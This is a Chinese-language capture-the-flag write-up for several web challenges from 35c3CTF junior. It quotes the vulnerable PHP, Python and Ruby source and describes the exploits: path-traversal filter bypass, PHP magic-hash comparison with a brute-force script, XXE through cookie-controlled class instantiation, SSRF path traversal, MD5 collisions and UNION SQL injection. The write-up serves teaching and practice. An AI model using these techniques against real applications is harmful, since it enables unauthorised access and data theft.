­

35c3CTF junior 部分web wp

  • 2019 年 10 月 8 日
  • 筆記

flags

進入題目

<?php    highlight_file(__FILE__);    $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';    $lang = explode(',', $lang)[0];    $lang = str_replace('../', '', $lang);    $c = file_get_contents("flags/$lang");    if (!$c) $c = file_get_contents("flags/ot");    echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

很簡單雙寫繞過一下就好了

可以看到圖片的base64 解碼一下

簽到題

凱撒加密跑一下就有了

McDonald

訪問之後可以在robots.txt發現有

將.DS_Store裡面的東西下載下來

可以看到有個flag.txt 訪問一下

logged in

在登錄的時候可以抓到一個包

包裡面有登錄的驗證嗎

在登錄之後能在cookie裡面找到自己的flag (找了挺久)

saltfish

<?php    require_once('flag.php');    if ($_ = @$_GET['pass']) {      $ua = $_SERVER['HTTP_USER_AGENT'];      if (md5($_) + $_[0] == md5($ua)) {        if ($_[0] == md5($_[0] . $flag)[0]) {          echo $flag;        }      }    } else {      highlight_file(__FILE__);    }

一眼就看到兩個弱等於 而且$和$ua都是可控的先過第一條 md5($_)+$_[0]==md5($ua) 因為 $_是個數組所以md5($_)是null獲得的值其實是$[0] 不過flag的值是不知道的最後 $_[0]==md5($_[0].$flag)[0]只能靠暴力破解了

import requests    url = "http://35.207.89.211/?pass[]=0e"    headers = {      'Host': '35.207.89.211',      'User-Agent': 'QNKCDZO',      'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',      'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',      'Accept-Encoding': 'gzip, deflate',      'Connection': 'keep-alive',      'Upgrade-Insecure-Requests': '1',      'Origin': 'www.ckj123.com'  }    for i in xrange(100):      html = requests.get(url+str(i))      if '35c3' in html.content:          break    print html.text

怎麼感覺我是非預期=。=

blind

源碼2333我喜歡

<?php    function __autoload($cls) {      include $cls;    }      class Black {      public function __construct($string, $default, $keyword, $store) {        if ($string) ini_set("highlight.string", "#0d0d0d");        if ($default) ini_set("highlight.default", "#0d0d0d");        if ($keyword) ini_set("highlight.keyword", "#0d0d0d");          if ($store) {              setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');        }      }    }      class Green {      public function __construct($string, $default, $keyword, $store) {        if ($string) ini_set("highlight.string", "#00fb00");        if ($default) ini_set("highlight.default", "#00fb00");        if ($keyword) ini_set("highlight.keyword", "#00fb00");          if ($store) {              setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');        }      }    }      if ($_=@$_GET['theme']) {      if (in_array($_, ["Black", "Green"])) {        if (@class_exists($_)) {          ($string = @$_GET['string']) || $string = false;          ($default = @$_GET['default']) || $default = false;          ($keyword = @$_GET['keyword']) || $keyword = false;            new $_($string, $default, $keyword, @$_GET['store']);        }      }    } else if ($_=@$_COOKIE['theme']) {      $args = explode('-', $_);      if (class_exists($args[0])) {        new $args[0]($args[1], $args[2], $args[3], '');      }    } else if ($_=@$_GET['info']) {      phpinfo();    }      highlight_file(__FILE__);

問了下輝神 輝神給了我一個函數 SimpleXMlElement

讓他的data is url 為true允許載入url的xml 很明顯是XXE 在自己伺服器上寫一個xml cookie是這個就可以了 theme=SimpleXMlElement-http://伺服器路徑/1.xml-2-true 差不多的 https://mochazz.github.io/2018/07/08/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1Day3%20-%20%E5%AE%9E%E4%BE%8B%E5%8C%96%E4%BB%BB%E6%84%8F%E5%AF%B9%E8%B1%A1%E6%BC%8F%E6%B4%9E/

Not(e) accessible

入手發現只有兩個功能看自己的文章和寫文章

然後id和pw都是隨機數 想著應該有源碼泄露

果然在頁面裡面找到了之後拿到源碼

<?php      require_once "config.php";        if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {          $note = $_POST['note'];            if(strlen($note) > 1000) {              die("ERROR! - Text too long");          }            if(!preg_match("/^[a-zA-Z]+$/", $note)) {              die("ERROR! - Text does not match /^[a-zA-Z]+$/");          }            $id = random_int(PHP_INT_MIN, PHP_INT_MAX);          $pw = md5($note);            # Save password so that we can check it later          file_put_contents("./pws/$id.pw", $pw);            file_get_contents($BACKEND . "store/" . $id . "/" . $note);            echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';              echo "<p>Your note ID is $id<br>";              echo "Your note PW is $pw</p>";                echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";          echo '</div>';      }  ?>
<?php header("Content-Type: text/plain"); ?>  <?php      require_once "config.php";      if(isset($_GET['id']) && isset($_GET['pw'])) {          $id = $_GET['id'];          if(file_exists("./pws/" . (int) $id . ".pw")) {              if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {                  echo file_get_contents($BACKEND . "get/" . $id);              } else {                  die("ERROR!");              }          } else {              die("ERROR!");          }      }  ?>
require 'sinatra'  set :bind, '0.0.0.0'    get '/get/:id' do      File.read("./notes/#{params['id']}.note")  end    get '/store/:id/:note' do      File.write("./notes/#{params['id']}.note", params['note'])      puts "OK"  end    get '/admin' do      File.read("flag.txt")  end

/../../admin

collier

還是沒啥東西然後再看看源碼 果然給了源碼

下載下來 最主要的地方在這

<?php      include_once "config.php";      if(isset($_POST['submit']))  {              $pdf1 = $_FILES['pdf1']['tmp_name'];              $pdf2 = $_FILES['pdf2']['tmp_name'];                if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) {                  die("The first pdf does not contain 'NO FLAG!'");              }                if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) {                  die("The second pdf does not contain 'GIVE FLAG!'");              }                if(md5_file($pdf1) != md5_file($pdf2)) {                  die("The MD5 hashes do not match!");              }                echo "$FLAG";        }  ?>

這個表示只能一行

一直以為是弱等於的原因感謝smi1e師傅的指點~ 直接用https://github.com/cr-marcstevens/hashclash 這個的工具就可以了=。= 生成兩個MD5一樣的

DB Serect

英語不好吃虧呀=。= 後來才知道這道題有源碼,之前都不知道該怎麼下手。。 訪問 view-source:http://35.207.132.47/pyserver/server.py 拿到源碼

可以看到很多地方都是問號拼接進去的,但是明顯有個地方 不是問號拼接進去的

@app.route("/api/getprojectsadmin", methods=["POST"])  def getprojectsadmin():      # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class);      # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset));      name = request.cookies["name"]      token = request.cookies["token"]      user, username, email, usertype = user_by_token(token)        json = request.get_json(force=True)      offset = json["offset"]      sorting = json["sorting"]        if name != "admin":          raise Exception("InvalidUserName")        sortings = {          "newest": "created DESC",          "oldest": "created ASC",          "lastmodified": "lastModified DESC"      }      sql_sorting = sortings[sorting]        if not offset:          offset = datetime.datetime.now()        return jsonify_projects(query_db(          "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' "          "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin")

首先登陸admin

構造一個這樣的json

找一找自己要注入的數據放在那裡

可以看到他在secrets表的secret欄位裡面

就是一個很簡單的union注入